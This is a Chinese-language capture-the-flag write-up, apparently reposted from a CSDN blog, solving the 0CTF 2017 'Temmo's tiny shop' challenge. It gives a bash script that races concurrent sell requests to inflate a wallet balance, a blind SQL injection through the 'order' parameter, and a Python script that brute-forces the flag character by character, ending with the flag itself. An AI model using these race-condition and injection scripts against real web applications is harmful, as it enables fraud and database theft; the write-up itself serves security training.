0CTF 2017 Quals

Anatasha

Temmo’s tiny shop

本题首先要获取!HINT!，但是初始钱包里只有4000，而HINT要价8000，此处使用条件竞争（race condition）这一漏洞来提升wallet的数值。利用两个浏览器登录同一账号，使用两个COOKIE来同时进行售卖的动作，则会进行两次售卖动作。bash代码如下

1. #!/bin/bash
   
2. cookie1="PHPSESSID=m19tgi4tq3eptm53pss14dc910"
   
3. cookie2="PHPSESSID=39083e7nft6kbvkjvph29socb0"
   
4. 
   
5. url="http://202.120.7.197/app.php"
   
6. 
   
7. curl "$url?action=buy&id=2" -b $cookie1
   
8. curl "$url?action=sale&id=2" -b $cookie1 &
   
9. curl "$url?action=sale&id=2" -b $cookie2
   

复制代码

得到HINT的提示：

1. OK! Now I will give some hint: you can get flag by use `select flag from ce63e444b0d049e9c899c9a0336b3c59`
   

复制代码

接下来便是sql注入，注入点在search功能的order参数上，可以这样构造

1. http://202.120.7.197/app.php?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1)like(0x00),price,name)

复制代码

因为没有回显，对flag进行逐个字符的爆破，遍历ascii码表，通过返回内容中商品的顺序来判断每个字符的值。python代码如下：

1. #!/usr/bin/python
   
2. 
   
3. import requests
   
4. 
   
5. 
   
6. 
   
7. 
   
8. 
   
9. url = "http://202.120.7.197/app.php"
   
10. 
    
11. 
    
12. 
    
13. param = "?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),{},1)like({}),price,name)"
    
14. 
    
15. 
    
16. 
    
17. headers = {"Cookie" : "PHPSESSID=39083e7nft6kbvkjvph29socb0"}
    
18. 
    
19. answer=''
    
20. 
    
21. 
    
22. 
    
23. for i in range(40):
    
24. 
    
25.     for j in range(128):
    
26. 
    
27.         if j == 37:
    
28. 
    
29.             continue
    
30. 
    
31.         content = requests.get(url+param.format(str(i), hex(j)), headers=headers).content
    
32. 
    
33.         print param.format(str(i), hex(j))
    
34. 
    
35.         print content
    
36. 
    
37.         if content.find('"id":"6"') < content.find('"id":"3"'):
    
38. 
    
39.             answer += chr(j)
    
40. 
    
41.             print chr(j)
    
42. 
    
43.             break
    
44. 
    
45. 
    
46. 
    
47. print answer

复制代码

可以得到flag

1. FLAG_R4CE_C0NDITI0N_I5_EXCITED_

复制代码

OVER~


版权声明：本文为CSDN博主「segOt」的原创文章。原文链接：https://blog.csdn.net/segOt/article/details/66477728